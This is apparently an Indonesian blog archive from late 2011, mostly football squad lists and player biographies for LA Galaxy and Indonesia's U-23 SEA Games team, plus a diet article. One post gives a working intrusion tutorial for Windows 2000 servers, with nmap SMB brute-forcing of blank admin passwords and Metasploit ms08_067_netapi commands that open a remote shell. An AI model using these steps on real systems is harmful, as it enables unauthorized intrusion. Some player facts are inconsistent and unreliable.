Pages

Tuesday, November 29, 2011

Skuad Lengkap LA Galaxy

Profil Tim dan Biodata Pemain kali ini akan menyajikan Skuad Tim asuhan Bruce Arena yang saat ini mengadakan Tur Asia yaitu LA Galaxy. LA Galaxy adalah Klub MLS yang berisikan beberapa pemain bintang salah satunya David Beckham, Robbie Keane, dan Landon Donovan. Dan pada 30 November 2011 rencananya David Beckham dan kawan-kawan, akan melakukan laga persahabatan melawan Indonesia All Star yang akan diadakan di Stadion Gelora Bung Karno (GBK). Bagi kamu yang ingin mengetahui Skuad dan Daftar pemain LA Galaxy yang akan bertanding melawan Indonesia All Stars. Berikut kami berikan Skuad dan Susunan Pemain Klub MLS yang dilatih oleh Bruce Arena.



Skuad LA Galaxy Yang Akan Menghadapi Indonesia All Star


Daftar Pemain LA Galaxy

Kiper :

- Brian Perk
- Donovan Ricketts
- Josh Saunders

Bek :

- Gregg Berhalter
- A.J. DeLaGarza
- Todd Dunivant
- Sean Franklin
- Omar Gonzalez
- Frankie Hejduk
- Dasan Robinson
- Ryan Thomas

Gelandang :

- David Beckham
- Chris Birchall
- Paolo Cardozo
- Landon Donovan
- Hector Jimenez
- Bryan Jordan
- Juninho
- Dan Keat
- Jovan Kirovski
- Mike Magee
- Dustin McCarty
- Michael Stephens

Striker :

- Adam Cristman
- Robbie Keane
- Miguel Lopez
- Jack McBean

Pelatih :
- Bruce Arena

Demikian Daftar Pemain LA Galaxy yang akan bertanding melawan Indonesia All Star, yang akan dilangsungkan di Stadion Utama Gelora Bung Karno (GBK).
Selain memberikan Skuad LA Galaxy, kami juga menyajikan Skuad Tim sepakbola lainnya yaitu dari Skuad Timnas Indonesia di SEA Games.

Monday, November 28, 2011

Beberapa Makanan yang Cepat Bikin Gemuk

Anda sangat suka sekali menyantap makanan, tapi hati-hatilah. Bisa jadi makanan yang anda sukai dan sering anda jadikan santapan membuat tubuh anda lebih cepat menggembung. Inilah makanan yang dapat membuat anda lebih cepat gemuk


Es Krim.
Betapa nikmatnya menikmati krim dingin dengan rasa vanila, strawberry maupun coklat saat cuaca panas. Tapi waspada, jika anda tidak berhati-hati, kalori yang terkadung di makanan dingin ini dapat diserap dengan cepat.

Jadi lupakanlah betapa nikmatnya toping, kue waffle dengan es krim di atasnya, es krim cone yang anda nikmati saat di pusat perbelanjaan dan es krim stik favorit anda.Akan lebih baik jika anda memilih untuk mengonsumsi yoghurt beku atau sorbet, atau jika anda merasa kesulitan ketika harus menghindari es krim, belilah es krim dengan kadar kalori yang ringan.

Hot Dog.
Perpaduan antara sosis panggang atau goreng yang dibalut dengan roti hangat dan siraman mayonaise maupun saus memang sangat nikmat.

“Buatlah hotdog sesederhana mungkin, tetap nikmati tapi tidak lebih dari satu hotdog. Karena hotdog tidak hanya mengandung lemak yang tinggi tapi juga mengandung banyak sodium” Ujar Susan Moores, MS,RD, juru bicara American Dietetic Association (ADA).


Coklat.
Makan coklat memang menyenangkan sekaligus dapat menenangkan karena kadar kafeinnya. Dark Chocolate memang meimiliki beberapa manfaat bagi kesehatan, tapi itu pun jika anda mengonsumsi dengan porsi yang sedikit.

“Nikmatilah kandungan satu ons polyphenol yang tinggi pada dark chocolate, dan jangan makan terlalu banyak karena akan banyak merugikan kesehatan karena kandungan lemak, gula dan kalorinya,” kata Moore.


Toping, dressing dan Saus.
“Saus Hollandaise di atas asparagus, whipped cream di atas jus strawberry atau dressing dengan lemak tinggi pada campuran salad anda dari makanan sehat menjadi kalori dengan kadar tinggi bagi tubuh anda,” kata Katherine Tallmadge, MA, RD, penulis Diet Simple : 192 Mental Tricks, Subtitutions, Habits Inspirations memperingatkan. Sebagai gantinya, pilihlah toping, dressing atau saus yang lebih light (ringan).


Minuman seperti iced coffee drinks, cocktail dan smoothies.
“kalori dalam bentuk cairan sangat cepat menyatu kedalam tubuh,” kata jurubicara ADA Christine Gerbstdat, MD, RD. “Sebaiknya anda mengetahui apa yang terkandung di dalam minuman anda dan kurangilah makanan atau minuman dengan kalori tinggi.”


Makanan penutup yang terbuat dari kacang, coklat dan kelapa
Sarah Krieger, MPH, RD memberikan saran untuk menambahkan menu buah-buahan untuk makanan penutup. Salad yang dicampur dengan ayam, salad kentang, keju, mayonaise dan bahkan potongan roti dipenuhi dengan lemak dan kalori.


“Ganti saja hal-hal yang mengandung banyak lemak dan kalori tadi dengan sayuran hijau dengan tambahan light mayonaise.” ujar profesor Universitas Boston, Joan Salge Blake, MS, RD.


Makanan yang dipanggang seperti iga bakar, steak, daging burger dan sebagainya memang nikmat.


Tapi hati-hatilah, daging-daging tersebut banyak tersisip lemak.



“Bakarlah ayam, ikan, daging tanpa lemak bersama dengan sayuran dan buah-buahan,” kata jurubicara ADA Marissa Moore, RD.


Buah kelapa banyak ditemukan di berbagai makanan seperti di dalam cake maupun smoothies.
Buah kelapa mengandung lemak jenuh, pemanis, termasuk diantaranya 129 kalori dan 8 gram lemak.

“jika anda menikmati porsi besar buah kelapa, maka kadar kalori dalam tubuh anda akan meroket. Misalnya masakan yang mengandung kelapa seperti udang goreng kelapa yang mengandung 300 gram kalori,” ujar Gerbstadt.

Sumber : Rilex.com


Related Posts




Robbie Keane Biodata Lengkap

Profil Tim dan Biodata Pemain kali ini, akan menyajikan Profil Pemain bintang Klub LA Galaxy yaitu Robbie Keane. Siapa yang tidak kenal Robbie Keane, Robbie Keane adalah pemain Sepakbola Profesional yang berkebangsaan Irlandia. Robbie Keane pernah membela Klub-klub besar Eropa seperti Inter Milan, Liverpool, dan Tottenham Hotspurs. Robbie Keane adalah Tipikal Striker yang berskill tinggi, memiliki kecepatan, dan insting mencetak gol yang bagus. Robbie Keane adalah salah satu pemain yang dibawa dalam Skuad LA Galaxy yang akan bermain melawan Timnas Indonesia pada 30 November nanti. Pemain yang memiliki nama lengkap Robert David Keane ini, lahir di Dublin, Irlandia pada tanggal 8 Juli 1980. Bagi kamu yang ingin mengetahui Profil lengkap Robbie Keane, dan Perjalanan karir dari pemain Timnas Irlandia ini. Berikut kami sajikan Profile dan Biography dari Robbie Keane.


Profil Dan Biodata Lengkap Robbie Keane Pemain Klub LA Galaxy

Nama Lengkap : Robert David Keane
Tempat Lahir : Dublin, Irlandia
Tanggal Lahir : 8 Juli 1980
Kebangsaan : Irlandia
Posisi : Striker
Bermain di Klub : LA Galaxy

Profil Singkat

Robert David Keane atau yang lebih sering dikenal Robbie Keane adalah seorang pemain sepak bola profesional yang berasal dari Irlandia. Ia lahir pada tanggal 8 Juli 1980 di Dublin, Irlandia. Saat ini ia merupakan salah satu punggawa dari klub LA Galaxy dan bermain pada posisi penyerang. Selain itu ia juga termasuk pemain dalam skuad timnas Irlandia.

Perjalanan Karir

Karir Junior:

* Crumlin United
1995–1997 : Wolverhampton Wanderers

Karir Senior:
1997–1999 : Wolverhampton Wanderers
1999–2000 : Coventry City
2000–2001 : Internazionale
2001 → Leeds United (loan)
2001–2002 : Leeds United
2002–2008 : Tottenham Hotspur
2008–2009 : Liverpool
2009–2011 : Tottenham Hotspur
2010 → Celtic (loan)
2011 → West Ham United (loan)
2011–Sekarang : Los Angeles Galaxy

Karir timnas:
1998-Sekarang : Irlandia

Demikian informasi mengenai Profil Robbie Keane, yang merupakan Pemain Klub LA Galaxy dan Timnas Irlandia.
Selain memberikan Biodata lengkap Robbie Keane, kami juga menyajikan Profil pemain lA Galaxy lainnya yaitu dari Biodata Landon Donovan.

Biodata Lengkap Landon Donovan

Profil Tim dan Biodata Pemain kali ini, akan menyajikan Profil Pemain LA Galaxy yaitu Landon Donovan. Landon Donovan adalah pemain asal Amerika Serikat yang berposisi sebagai Penyerang. Landon Donovan adalah pemain yang telah memiliki banyak pengalaman bermain bersama Klub-klub besar Eropa, Donovan pernah lama bermain untuk Klub Bundesliga yaitu Bayern Levekusen, selain itu juga Donovan juga pernah dipinjamkan ke beberapa Klub besar seperti Bayern Munchen dan Everton. Pemain yang memiliki nama lengkap Timotius Landon Donovan, lahir di Ontario, California pada tanggal 4 Maret 1982. Bagi kamu yang penasaran ingin mengetahui Profil lengkap Landon Donovan, dan perjalanan karir dari pemain Negeri Paman Sam ini. Berikut kami sajikan Profile dan Biography lengkap Landon Donovan.


Profil Dan Biodata Lengkap Landon Donovan Pemain Klub LA Galaxy


Nama Lengkap : Timotius Landon Donovan
Tempat Lahir : Ontario, California
Tanggal Lahir : 04-Maret-1982
Kebangsaan : Amerika Serikat
Posisi : Striker
Bermain di Klub : LA Galaxy

Profil Pemain

Memiliki nama lengkap Timotius Landon Donovan (lahir 4 Maret 1982) adalah seorang pemain sepak bola berkebangsaan Amerika Serikat yang saat ini bermain untuk klub Liga Inggris, Everton, pada masa peminjaman dari Los Angeles Galaxy. Ia biasanya bermain sebagai pemain depan, dan juga dapat digunakan sebagai gelandang serang dan juga bisa turun di kedua sisi sayap.

Dia adalah alumni program kelas Bradenton, Florida. Sebuah program kelas khusus sepak bola yang dicanangkan oleh pemerintah AS. Dirinya berjasa mengatarkan timnas U-17 Amerika Serikat menjadi peringkat empat Piala Dunia U-17 pada tahun 1999 sekaligus menjadi pemain terbaik ajang tersebut.

Lalu kemudian ia mengikat kontrak dengan klub Bundesliga Bayer Leverkusen selama enam tahun, dan pada masa pengabdiannya tersebut ia pernah dipinjamkan ke klub MLS, San Jose Earthquakes.

Pada tahun 2005 akhirnya Donovan memutuskan kembali berkompetisi di tanah kelahirannya di MLS bersama Los Angeles Galaxy, dan juga sempat kembali ke Bundesliga pada musim 2008-2009 untuk dipinjamkan ke Bayern Munich.

Sementara karir di tim nasionalnya terbilang cukup cemerlang ia saat ini tercatat sebagai pemain pencetak gol dan assist tebanyak untuk The Sams Army, serta menjadi pemain yang memiliki caps terbanyak yang masih aktif di timnas Amerika Serikat. Dia juga enam kali terpilih sebagai pemain terbaik tahun ini untuk Amerika Serikat.

Demikian sekilas mengenai Profil Landon Donovan, yang merupakan salah satu Pemain LA Galaxy, Klub yang akan melakoni laga persahabatan melawan Timnas Indonesia pada tanggal 30 November 2011.
Selain memberikan Biodata lengkap Landon Donovan, kami juga menyajikan Profil dan Biodata pemain ternama lainnya yaitu dari Dirga Lasut Biografi Lengkap.

Wednesday, November 23, 2011

Dirga Lasut Biografi Lengkap

Profil Tim dan Biodata Pemain kali ini, akan menyajikan Profil Pemain Timnas Indonesia U-23 yang berlaga di SEA Games 2011 yaitu Dirga Lasut. Dirga Lasut adalah pemain yang berposisi sebagai Gelandang, dan pada SEA Games 2011 lalu, oleh Coach Rahmad Darmawan, Dirga Lasut ditempatkan sebagai Gelandang Bertahan, menemani Egi Melgiansyah dalam mengatur ritme dilini tengah Skuad Garuda Muda. Pemain yang memiliki nama lengkap Mahadirga Maranando Lasut ini, lahir di Tomohon pada tanggal 17 Agustus 1988. Bagi kamu yang ingin mengetahui Profil singkat dari Pemain yang ternyata tanggal lahirnya bertepatan dengan Hari Kemerdekaan Indonesia ini. Berikut kami berikan Profile dan Biography dari Mahadirga Lasut.

Profil Dan Biodata Mahadirga Maranando Lasut Pemain Timnas Indonesia U-23

Nama Lengkap : Mahadirga Maranando Lasut
Tempat Lahir : Tomohon
Tanggal Lahir : 17 Agustus 1988
Tinggi Badan: 173 cm
Club : Persija
Posisi :Gelandang

Demikian sedikit informasi mengenai Profil singkat Dirga Lasut, yang merupakan salah satu Pemain Timnas Indonesia saat berlaga di SEA Games 2011.
Selain memberikan Biografi Mahadirga Lasut, kami juga menyajikan Profil Pemain Timnas Indonesia lainnya yaitu dari Biografi Hasim Kipuw.

Tuesday, November 22, 2011

Biografi Lengkap Hasim Kipuw

Profil Tim dan Biodata Pemain kali ini, akan menyajikan Profil Pemain Timnas Indonesia yang berlaga di SEA Games 2011 yaitu Hasim Kipuw. Hasim Kipuw adalah pemain yang berposisi sebagai Bek. Oleh Coach Rahmad Darmawan, Hasim Kipuw ditempatkan disisi kanan pertahan, seperti halnya Diego yang berada disisi Kiri, Kipuw juga kerap membantu penyerangan dari sisi kanan, namun ia juga termasuk bek yang disiplin dalam menjaga area pertahanan, jadi tidak salah Pelatih Rahmad Darmawan memasukannya namanya dalam Skuad Garuda Muda. Hasim Kipuw lahir di Ambon pada tanggal 9 Mei 1988. Bagi kamu yang ingin mengetahui Profil singkat dari pemain yang kini membela Klub Persija ini. Berikut Profile dan Biography dari Hasim Kipuw.


Profil Dan Biodata Hasim Kipuw Pemain Timnas Indonesia U-23

Nama Lengkap : Hasim Kipuw
Tempat Lahir : Ambon
Tanggal Lahir : 9 Mei 1988
Tinggi Badan: 180 cm
Club : Persija
Posisi :Bek / Belakang

Demikian sekilas mengenai Profil singkat Hasim Kipuw, yang merupakan Pemain Timnas Indonesia yang berlaga di SEA Games 2011.
Selain memberikan Biografi Hasim Kipuw, kami juga menyajikan Profil Pemain Timnas lainnya yaitu dari Ferdinand Sinaga Profil Lengkap.

Monday, November 21, 2011

Ferdinand Sinaga Profil Lengkap

Profil Tim dan Biodata Pemain kali ini, akan menyajikan Profil Pemain Timnas Indonesia yang berlaga di SEA Games 2011 yaitu Ferdinand Sinaga. Ferdinand Sinaga adalah pemain yang berposisi sebagai Sayap dan terkandang dipasang sebagai second Striker oleh Coach Rahmad Darmawan. Seperti yang kita ketahui, Ferdinand Sinaga adalah salah pemain yang gagal mengeksekusi Bola tendangan Penalti, saat Timnas Indonesia berhadapan dengan Timnas Malaysia pada Final SEA Games 2011, yang harus melalui drama adu penalti, yang dimenangkan oleh Tim Harimau Malaya. Pemain yang memiliki nama lengkap Ferdinand Alfred Sinaga ini, lahir di Bengkulu pada tanggal 18 September 1988. Bagi kamu yang ingin mengetahui Profil singkat dari 18 dari pemain Persiwa Wamena ini. Berikut Profile dan Biography dari Ferdinand Alfred Sinaga.


Profil Dan Biodata Ferdinand Alfred Sinaga Pemain Timnas Indonesia U-23

Nama Lengkap : Ferdinand Alfred Sinaga
Tempat Lahir : Bengkulu
Tanggal Lahir : 18 September 1988
Tinggi Badan: 170 cm
Club : Persiwa Wamena
Posisi : Striker/ Sayap

Demikian sedikit informasi mengenai Profil Singkat Ferdinand Sinaga, yang merupakan Pemain Timnas Indonesia U-23 di SEA Games 2011.
Selain memberikan Profil Ferdinand Sinaga, kami juga menyajikan Profil dari Pemain Timnas Lainnya yaitu dari Profil Lengkap Abdul Rahman.

Sunday, November 20, 2011

Profil Lengkap Abdul Rahman

Profil Tim dan Biodata Pemain kali ini, akan menyajikan Profil Pemain belakang Timnas Indonesia U-23 di SEA Games 2011 yaitu Abdul Rahman. Abdul Rahman adalah pemain andalan Timnas Garuda Muda Indonesia di SEA Games, memiliki postur tubuh yang bagus dengan tinggi badan 188cm, Disiplin dalam menjaga area pertahanan, membuat dirinya menjadi Benteng yang kokoh dilini belakang Indonesia. Jadi tidak salah keputusan Rahmad Darmawan, memasukan Abdul Rahman di Starting Eleven Skuad Timnas Indonesia U-23 yang berlaga si SEA Games 2011. Abdul Rahman lahir di Makassar pada tanggal 14 Mei 1988. Bagi kamu yang ingin mengetahui Profil dan Perjalan karir dari Bek Jangkung yang saat ini bermain untuk Klub Semen Padang. Berikut Profile dan Biography dari Abdul Rahman.


Profil Dan Biodata Lengkap Abdul Rahman Pemain Timnas Indonesia U-23


Nama Lengkap : Abdul Rahman
Tempat Lahir : Makassar
Tanggal Lahir : 14 Mei 1988
Tinggi Badan: 188 cm
Club : Semen Padang
Posisi :Bek / Belakang

Demikian sedikit informasi mengenai Profil Abdul Rahman, yang merupakan Bek Timnas Indonesia U-23 di SEA Games 2011.
Selain memberikan Profil Abdul Rahman, kami juga menyajikan Profil Timnas Indonesia U-23 yaitu Rahmad Darmawan.

Rahmad Darmawan Biodata Lengkap

Profil Tim dan Biodata Pemain kali ini, akan menyajikan Profil Pelatih kawakan yang kini menjadi Pelatih Timnas Indonesia U-23 yaitu Rahmad Darmawan. Siapa yang tidak kenal Rahmad Darmawan, Pelatih yang telah malang melintang di jagat persepakbolaan Indonesia. Rahmad Darmawan yang memiliki nama keren "RD" ini, pernah melatih beberapa Klub besar Liga Indonesia yakni Persipura, Persija Jakarta, dan kini ia melatih Klub Sriwijaya FC. Di SEA Games 2011, Rahmad Darmawan ditunjuk untuk menjadi Manager Timnas Indonesia U-23, dan dengan kepintarannya dalam meramu strategi membuat Indonesia berhasil melaju ke Final SEA Games 2011 di cabang Sepakbola. Bagi kamu yang ingin mengetahui Profil dan Perjalanan karir dari Pelatih kelahiran Metro, Lampung 26 November 1966 ini. Berikut kami sajikan Profile dan Biography dari Rahmad Darmawan.


Profil Dan Biodata Lengkap Rahmad Darmawan Pelatih Timnas Indonesia U-23 Di SEA Games 2011

Nama Lengkap : Rahmad Darmawan
Tempat Lahir : Metro, Lampung
Tanggal Lahir : 26 November 1966
Kebangsaan : Indonesia
Posisi : Manajer
Bermain di Klub : Persija Jakarta

Profil Singkat

Rahmad Darmawan lahir di Lampung pada 26 November 1966, dia adalah mantan pelatih Sriwijaya FC. Dia memulai karir menjadi pelatih bersama dengan Persikota Tangerang dan setelah itu dia pindah ke Persipura Jayapura dan saat ini dia menjadi pelatih Persija Jakarta. Dia sudah mengkoleksi empat gelar Champion yang diperoleh dari 2 klub berbeda di Liga Indonesia. Musim terakhirnya bersama Sriwijaya, dia mempersembahkan Piala Indonesia, dan sejak tahun 2007 hingga 2010, dia mengkoleksi satu piala dari Liga Indonesia dan empat dari Indonesian Cups.

Demikian sedikit informasi mengenai Profil Rahmad Darmawan, yang merupakan Pelatih Timnas Indonesia U-23 di SEA Games 2011.
Selain memberikan Profil Rahmad Darmawan, kami juga menyajikan Profil Pemain Timnas U-23 yaitu dari Biodata Lengkap Gunawan Dwi Cahyo.

Saturday, November 19, 2011

Biodata Lengkap Gunawan Dwi Cahyo

Profil Tim dan Biodata Pemain kali ini, masih menyajikan Profil Pemain muda timnas Indonesia yang ikut serta membela Timnas Garuda muda di SEA Games 2011 yaitu Gunawan Dwi Cahyo. Gunawan Dwi Cahyo, adalah pemain yang berposisi sebagai Pemain Belakang atau Bek. Memiliki postur tubuh yang bagus yaitu 185cm, dan Disiplin dalam menjaga pertahanan membuat dirinya menjadi Benteng yang kokoh dilini belakang Skuad Garuda Muda. Bersama Abdulrahman yang merupakan patnernya dilini belakang, barisan pertahanan anak asuhan Rahmad Darmawan begitu kokoh dan sulit ditembus. Gunawan Dwi Cahyo lahir di Jepara, pada tanggal 20 April 1989. Ingin mengetahui Profil Gunawan Dwi Cahyo, dan perjalanan karirnya. Berikut kami berikan Profile dan Biography dari Gunawan Dwi Cahyo.


Profil Dan Biodata Lengkap Gunawan Dwi Cahyo Pemain Timnas Indonesia U-23


Nama Lengkap : Gunawan Dwi Cahyo
Tempat Lahir : Jepara
Tanggal Lahir : 20-04-1989
Kebangsaan : Indonesia
Posisi : Bek
Bermain di Klub : Persik

Profil Pemain


Gunawan terpaksa meninggalkan klub yang membesarkannya, Persik Kediri. Tak lain karena Macan Putih terdegradasi ke Kompetisi Divisi Utama Liga Indonesia musim 2010/2011.Tapi bakat Gunawan lantas tercium Sriwijaya FC, klub kaya yang gemar membeli pemain. Pelatih anyar Sriwijaya, Ivan Venkov Kolev, pun coba menyelamatkan karir Gunawan dengan merekrutnya.
Dengan tinggi 185 cm, diharapkan Gunawan dapat memperkokoh benteng Timnas untuk menghadapi Turkmenistan dan lawan-lawan selanjutnya.

Demikian sedikit informasi mengenai Profil Gunawan Dwi Cahyo, yang merupakan Bek Timnas Indonesia U-23 di SEA Games 2011.
Selain memberikan Biodata Gunawan Dwi Cahyo, kami juga menyajikan Profil dari Pemain Timnas U-23 lainnya yaitu dari Diego Michiels Biografi Lengkap.

Diego Michiels Biografi Lengkap

Profil Tim dan Biodata Pemain kali ini, masih menyajikan Profil Pemain muda timnas Indonesia yang ikut serta membela Timnas Garuda muda di SEA Games 2011 yaitu Diego Michiels. Diego Michiels, adalah pemain hasil Naturalisasi, Diego merupakan pemain keturunan Indonesia dan Belanda. Diego Michiels berposisi sebagai Wing Bek, memiliki kecepatan, penetrasi, dan umpan-umpan yang bagus adalah kelebihan dari pemain 21 tahun ini. Pandai bertahan dan sering pula membantu penyerangan, adalah nilai plus untuk Diego, jadi tidak salah Pelatih Timnas Indonesia U-23 Rahmad Darmawan memasukan namanya dalam starting eleven Skuad Timnas Garuda di SEA Games 2011. Diego Michiels lahir di Deventer, pada tanggal 8 Agustus 1990. Bagi kamu yang ingin mengetahui Profil Diego Michiels, dan perjalanan karirnya. Berikut Profile dan Biography dari Diego Michiels.


Profil Dan Biodata Lengkap Diego Michiels Pemain Timnas Indonesia U-23


Nama Lengkap : Diego Michiels

Lahir : Deventer, Belanda 8 Agustus 1990

Posisi : Wing Bek

Tinggi : 178 cm

Klub saat ini : Pelita Jaya

Berat Badan : 65 kg

Profil Pemain

Diego Michiels (lahir di Deventer, Belanda, 8 Agustus 1990; umur 21 tahun) adalah bek Go Ahead Eagles yang sedang dipinjamkan ke Pelita Jaya Jawa Barat dan saat ini sudah selesai dalam proses naturalisasi untuk bermain di Tim nasional U-23 Indonesia. Diego meniti karir bola di klub amatir, RDC Deventer, kemudian direkrut Go Ahead Eagles untuk tim junior. Penampilan perdana sebagai starter 11 pada 20 November 2009 lawan MVV.

Perjalanan Karir

Karir klub :

2009/10 Go Ahead Eagles Deventer (Eerstedivisie) 11 main/ 0 gol

2010/11 Go Ahead Eagles Deventer (Eerstedivisie) 5 main/ 0 gol

Demikian sekilas mengenai Profil dari Diego Michiels, yang merupakan pemain Timnas U-23 dan saat ini bermain untuk Klub Pelita Jaya.
Selain memberikan Biografi Diego Michiels, kami juga menyajikan Profil dari pemain Timnas lainnya yaitu dari Biografi Lengkap Egi Melgiansyah.

Friday, November 18, 2011

Hacking Windows Server 2000

Hallo gan, selamat datang di blog saya. Di posting kali ini saya akan membahas tentang cara masuk ke Server. Saya membahas cara masuk ke server Windows Server 2000.

Oke kita akan masuk pada tahap pertama yaitu tools yang di perlukan.
- Nmap
- Metasploit Framework 3
Boleh menggunakan Backtrack, karena sudah tersedia. Dan saya akan membahasnya dengan menggunakan backtrack. Target kita ada di jaringan lokal 23.


1. Scanning
Kita akan melakukan scanning terlebih dahulu untuk melihat IP yang aktif. Masuk ke backtracknya dan buka shell konsole nya. Lalu ketikkan nmap –v 192.168.7.23-254.
Maka akan muncul hasilnya sperti gambar di bawah beserta dengan port yang terbuka.



Setelah menemukan IP yang aktif, maka kita melakukan scanning satu per satu. Dan saya menemukan 1 IP yang menggunakan Windows server yaitu 192.168.23.150. Caranya dengan mengetikkan perintah di nmap
nmap --script smb-os-discovery.nse -p445 192.168.23.150



Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-07-13 08:20 UTC
Nmap scan report for 192.168.23.150
Host is up (0.061s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
Host script results:
| smb-os-discovery:
|   OS: Windows 2000 (Windows 2000 LAN Manager)
|   Name: WORKGROUP\ME-CXWBONL2ROOF
|_  System time: 2011-07-13 08:29:31 UTC+7
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds


Pada hasil scanning diatas terlihat jelas kalau OS yang digunakan Windows Server 2000. Setelah itu lakukan scanning lagi dengan mengetikkan  
nmap -sU -sS --script smb-brute.nse -p U:137,T:139 192.168.23.150 
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-07-13 07:18 UTC
Nmap scan report for 192.168.23.150
Host is up (0.0020s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
137/udp open  netbios-ns

Host script results:
| smb-brute:
|   administrator:<blank> => Login was successful
|_  me:<blank> => Login was successful

Nmap done: 1 IP address (1 host up) scanned in 54.47 seconds




2. Attack
Setelah kita melakukan scanning diatas, kita sudah cukup medapatkan informasi untuk dapat menembus Server tersebut. Ada 2 cara untuk masuk ke server tersebut, yaitu melalui FTP server dan Tools Metasploit.

A. Dari hasil scanning diatas kita sudah dapat melihat jelas bahwa pada saat scanning pertama kita lihat bahwa port FTP terbuka, dan pada scanning yang ketiga kita memperoleh data Username administrator dan me, dan yang lebih penting lagi bahawa password nya blank dan login berhasil.

administrator:<blank> => Login was successful
|_  me:<blank> => Login was successful


Seperti pada gambar di bawah. Saya mengetikkan IP target di addres \\192.168.23.152 , setelah saya tekan enter maka dia akan meminta username dan password. Tinggal mengetikkan username administrator dan password kosong maka login akan berhasil.


B. Pada langkah yang kedua saya akan menjelaskan cara masuk dengan Metasploit Framework yang tersedia di Backtrack 4 R2 . Pada shell konsole ketikkan


msfconsole
use windows/smb/ms08_067_netapi
set payload windows/shell_bind_tcp
set RHOST 192.168.23.150
exploit

Seperti pada gambar di bawah.



Dan setelah exploit maka kita akan langsung dapat mengakses drive C dari server tersebut.
Ini hanya sekedar sharing ilmu gan, jangan disalah gunain buat hal-hal yang tidak baik, resiko ditanggung sendiri.
Demikian tutorial dari saya, saya harap dapat menambah wawasan teman semua.
Salam...God Bless You.



Thursday, November 17, 2011

Skuad Timnas U-23 Di SEA Games 2011

Profil Tim dan Biodata Pemain kali ini, akan menyajikan Skuad Tim Nasional Indonesia yang berlaga di SEA Games 2011. Seperti yang kita ketahui, SEA Games adalah ajang olahraga yang diikuti oleh peserta dari kawasan Asia Tenggara. Di SEA Games banyak cabang olahraga yang diperlombakan, salah satunya yang paling bergengsi adalah Sepakbola. Timnas Garuda Indonesia yang dilatih oleh pelatih kawakan Rahmad Darmawan, membawa Skuad Muda di SEA Games kali ini. Banyak muncul wajah-wajah baru dalam Skuad Timnas Indonesia U-23, selain terkesan lebih Fresh, Timnas Garuda Muda juga menampilkan penampilan yang aktraktif yang memberi harapan baru bagi Rakyat Indonesia. Nama-nama seperti Titus Bonai, Patrich Wanggai, Andik Vermansyah, Egi Melgiansyah, Diego Michiels, Okto Maniani, dan kawan-kawan, menunjukan kapasitas mereka sebagai calon pemain harapan Rakyat Indonesia dimasa yang akan datang. Bagi kamu yang ingin mengetahui Skuad Lengkap Timnas Indonesia U-23 yang berlaga di SEA Games 2011. Berikut kami sajikan Skuad Tim Garuda Muda yang berlaga di SEA Games 2011.


Skuad Lengkap Timnas Indonesia U-23 Di SEA Games 2011



Kiper :

- Kurnia Meiga
- Andritany Ardhiyasa

Bek :

- Gunawan Dwi Cahyo
- Septia Hadim
- Diego Michiels
- Yericho Cristiantoko
- Hasyim Kipuw
- Abdulrahman

Gelandang :

- Egi Melgiansyah
- Mahadirga Lasut
- Stevie Bonsapia
- Oktovianus Maniani
- Ferdinand Sinaga
- Ramdhani Lestaluhu
- Hendro Siswanto
- Andik Vermansyah

Striker :


- Titus Bonai
- Yongky Aribowo
- Patrick Wanggai
- Lucas Mandowen

Demikian sedikit informasi mengenai Skuad Timnas Indonesia U-23 yang berlaga di SEA Games 2011, dibawah kepelatihan Rahmad Darmawan.
Selain memberikan Info Skuad Timnas U-23, kami juga menyajikan Skuad Tim ternama lainnya yaitu dari Skuad Inter Milan Terbaru.

Wednesday, November 16, 2011

Biografi Lengkap Egi Melgiansyah

Profil Tim dan Biodata Pemain kali ini, masih menyajikan Profil Pemain muda timnas Indonesia yang ikut serta membela Timnas Garuda muda di SEA Games 2011 yaitu Egi Melgiansyah. Egi Melgiansyah adalah pemain Timnas Indonesia U-23 yang berposisi sebagai Gelandang. Egi Melgiansyah adalah sosok vital dalam Tim, ia bisa dibilang adalah roh di Lini tengah, yang betugas mengatur ritme permainan dan penyuplai bola bagi para penyerang. Cerdik, pintar melihat celah, dan memiliki umpan-umpan yang terukur adalah kelebihan dari Gelandang 21 tahun ini. Egi Melgiansyah lahir di Bogor pada tanggal 9 April 1990. Bagi kamu yang ingin mengetahui Profil Egi Melgiansyah, Biografi, serta Perjalanan Karir dari Gelandang Timnas Indonesia U-23 ini. Berikut kami sajikan Profile dan Biography dari Egi Melgiansyah.


Profil Dan Biodata Lengkap Egi Melgiansyah

Nama Lengkap : Egi Melgiansyah
Tempat Lahir : Bogor
Tanggal Lahir : 09-04-1990
Kebangsaan : Indonesia
Posisi : Gelandang
Bermain di Klub : Pelita Jaya

Profil Pemain

Egi Melgiansyah lahir 4 September 1990 merupakan seorang pemain sepak bola berkebangsaan Indonesia yang kini membela klub Pelita Jaya. Sebelumnya dia bermain di klub Persita junior dan Pelita junior. Dia bermain di timnas utamanya seperti Indonesia U-14, Indonesia U-15, Indonesia U-17, Indonesia U-19 dan Indonesia U-21.

Perjalanan Karir


Karier Klub

* 2004: Pelita Junior, Asiop
* 2005: Persita Junior
* 2006-Sekarang: Pelita Jaya

Demikian sekilas mengenai Profil dan Perjalanan Karir dari Egi Melgiansyah, yang merupakan Gelandang Timnas Indonesia di SEA Games 2011.
Selain memberikan Biografi Egi Melgiansyah, kami juga menyajikan Profil dan Biodata Pemain Sepakbola lainnya yaitu dari Profil Lengkap Patrick Wanggai.

Patrick Wanggai Profil Lengkap

Profil Tim dan Biodata Pemain kali ini, masih menyajikan Profil Pemain muda timnas Indonesia yang ikut membela Timnas Garuda di SEA Games yaitu Patrick Wanggai. Patrick Wanggai adalah pemain muda Indonesia yang berposisi sebagai Penyerang, dan sampai saat ini Wanggai masih menjadi Top Skor Timnas Indonesia di SEA Games dengan mengoleksi 4 gol. Cepat, Lincah, dan Haus gol itulah yang bisa digambarkan mengenai Pemain asal Papua ini, dan hal itulah yang membuat pelatih Timnas U-23, Rahmat Darmawan memasukan namanya dalam Skuad Timnas Indonesia yang berlaga di SEA Games. Pemain yang memiliki nama lengkap Patrich Steve Wanggai ini, lahir di Nabire pada tanggal 27 Juni 1988. Bagi kamu yang penasaran ingin mengetahui Profil Patrick Wanggai, Biografi, dan Perjalanan Karir dari pemain muda harapan bangsa ini. Berikut kami sajikan Profile dan Biography dari Patrich Wanggai.


Profil Dan Biodata Lengkap Patrick Wanggai


Nama lengkap: Patrich Steve Wanggai
Nama panggilan: Pai
